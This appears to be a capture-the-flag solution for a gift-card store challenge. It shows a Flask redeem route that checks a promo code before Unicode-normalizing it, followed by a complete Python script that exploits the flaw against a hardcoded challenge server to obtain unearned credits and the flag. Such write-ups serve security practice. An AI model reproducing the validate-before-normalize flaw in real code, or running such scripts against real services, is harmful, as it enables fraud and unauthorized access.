GiftForge#

1
@app.route('/redeem', methods=['GET', 'POST'])
2
@login_required
3
def redeem():
4
    if request.method == 'POST':
5
        code = request.form.get('code', '').strip()
6

7
        if code == "GIFT500":
8
            flash('This special offer has expired.', 'error')
9
            return redirect(url_for('redeem'))
10

11
        code = "".join(c for c in unicodedata.normalize('NFKD', code) if not unicodedata.combining(c)).upper()
12

13
        if code == "GIFT500":
14
            current_user.balance += 500.0
15
            db.session.commit()
16
            flash('500 credits added to your account.', 'success')
17
            return redirect(url_for('store'))

1
import re
2
import secrets
3
import string
4
import requests
5

6
BASE = "http://82.29.170.47:24176"
7

8
s = requests.Session()
9

10
username = "pwn_" + ''.join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(8))
11
password = "P@ssw0rd123!"
12

13

14
def must(cond, msg):
15
    if not cond:
16
        raise RuntimeError(msg)
17

18
print(f"[*] Target: {BASE}")
19
print(f"[*] Username: {username}")
20

21
# 1) Signup
22
r = s.post(f"{BASE}/signup", data={"username": username, "password": password}, allow_redirects=True, timeout=20)
23
r.raise_for_status()
24
must("Digital Forge Store" in r.text or "Current Balance" in r.text, "Signup/Login failed")
25
print("[+] Signed up and logged in")
26

27
# 2) Redeem Unicode-bypassed GIFT500
28
# "GI\u0301FT500" -> raw != "GIFT500", normalized -> "GIFT500"
29
bypass_code = "GI\u0301FT500"
30
r = s.post(f"{BASE}/redeem", data={"code": bypass_code}, allow_redirects=True, timeout=20)
31
r.raise_for_status()
32
must("500 credits added" in r.text or "Digital Forge Store" in r.text, "Redeem bypass may have failed")
33
print(f"[+] Redeemed bypass code: {bypass_code.encode('unicode_escape').decode()}")
34

35
# 3) Buy The Secret Flag (id=4 from source)
36
r = s.post(f"{BASE}/buy/4", allow_redirects=True, timeout=20)
37
r.raise_for_status()
38
print("[+] Attempted purchase of secret card")
39

40
# 4) Extract flag from profile
41
r = s.get(f"{BASE}/profile", timeout=20)
42
r.raise_for_status()
43

44
flag_match = re.search(r"VBD\{[^}]+\}", r.text)
45
if flag_match:
46
    flag = flag_match.group(0)
47
    print(f"\n[FLAG] {flag}")
48
else:
49
    codes = re.findall(r'<code class="card-code">([^<]+)</code>', r.text)
50
    print("[!] No direct VBD{} match. Inventory codes:")
51
    for c in codes:
52
        print(f"    - {c}")
53
    raise RuntimeError("Flag not found in profile response")